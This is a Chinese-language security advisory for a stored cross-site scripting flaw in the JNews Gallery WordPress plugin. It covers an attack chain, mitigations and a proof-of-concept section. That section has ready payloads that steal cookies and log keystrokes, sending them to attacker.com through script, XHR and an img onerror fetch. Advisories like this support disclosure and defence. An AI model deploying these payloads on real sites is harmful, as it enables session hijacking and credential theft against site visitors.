CVE-2025-67538 CVSS 6.5 中危

CVE-2025-67538 JNews Gallery插件存储型XSS漏洞

披露日期: 2025-12-09

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-67538

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

jegtheme JNews Gallery (jnews-gallery)

漏洞概述

CVE-2025-67538是WordPress插件JNews Gallery中的一个存储型跨站脚本（Stored XSS）漏洞。该漏洞由于插件在Web页面生成过程中对用户输入的处理不当导致，攻击者可以在画廊功能中注入恶意JavaScript代码。当其他用户访问包含恶意代码的页面时，这些脚本将在受害者浏览器中执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全问题。由于该漏洞为存储型XSS，恶意代码会被永久保存在服务器端，影响所有访问受影响页面的用户。CVSS评分6.5，属于中等严重程度，攻击复杂度低，但需要低权限用户身份和用户交互才能触发。

技术细节

该漏洞根源在于JNews Gallery插件的输入验证机制存在缺陷。攻击者通过画廊上传或评论功能提交包含恶意JavaScript代码的输入内容，插件未对特殊字符进行适当过滤或转义，直接将用户输入存储到数据库。当其他用户访问包含该恶意内容的页面时，浏览器将输入内容作为HTML/JavaScript解析执行。攻击者利用此漏洞可窃取用户Cookie、会话令牌，执行任意JavaScript操作，或进行钓鱼攻击。由于攻击需要低权限账户即可实施，且恶意代码存储在服务器端，具有持久性和广泛影响性，对网站安全性构成显著威胁。

攻击链分析

STEP 1

攻击者注册低权限WordPress账户并登录目标网站

STEP 2

攻击者访问JNews Gallery功能模块，找到支持用户输入的字段（如图片描述、画廊标题、评论等）

STEP 3

攻击者构造包含恶意JavaScript代码的Payload并提交，Payload被存储到数据库中

STEP 4

插件从数据库读取数据并在Web页面生成过程中输出内容，未进行适当的输出编码

STEP 5

普通用户或管理员访问包含恶意代码的页面，浏览器解析并执行注入的JavaScript

STEP 6

恶意脚本窃取用户Cookie、会话信息或执行其他恶意操作，完成攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Stored XSS PoC for CVE-2025-67538 -->
<!-- Attack vector: Inject malicious script via JNews Gallery input fields -->

<!-- Step 1: Craft the XSS payload -->
<script>
  // Steal session cookies
  var cookies = document.cookie;
  var img = new Image();
  img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(cookies);
  
  // Keylogger for credential theft
  document.addEventListener('keypress', function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log', true);
    xhr.send(e.key);
  });
</script>

<!-- Alternative payload using event handlers -->
<img src=x onerror='fetch("https://attacker.com/steal?data="+btoa(document.cookie))'>

<!-- HTML entity encoded payload -->
&lt;script&gt;alert(document.domain)&lt;/script&gt;

影响范围

jnews-gallery < 12.0.1

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1）限制低权限用户使用JNews Gallery相关功能；2）启用Web应用防火墙（WAF）规则检测和阻止XSS攻击特征；3）对数据库中现有内容进行XSS恶意代码清理；4）使用第三方安全插件提供额外的XSS防护层；5）监控网站访问日志，及时发现异常请求和攻击行为。建议尽快应用官方安全更新。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表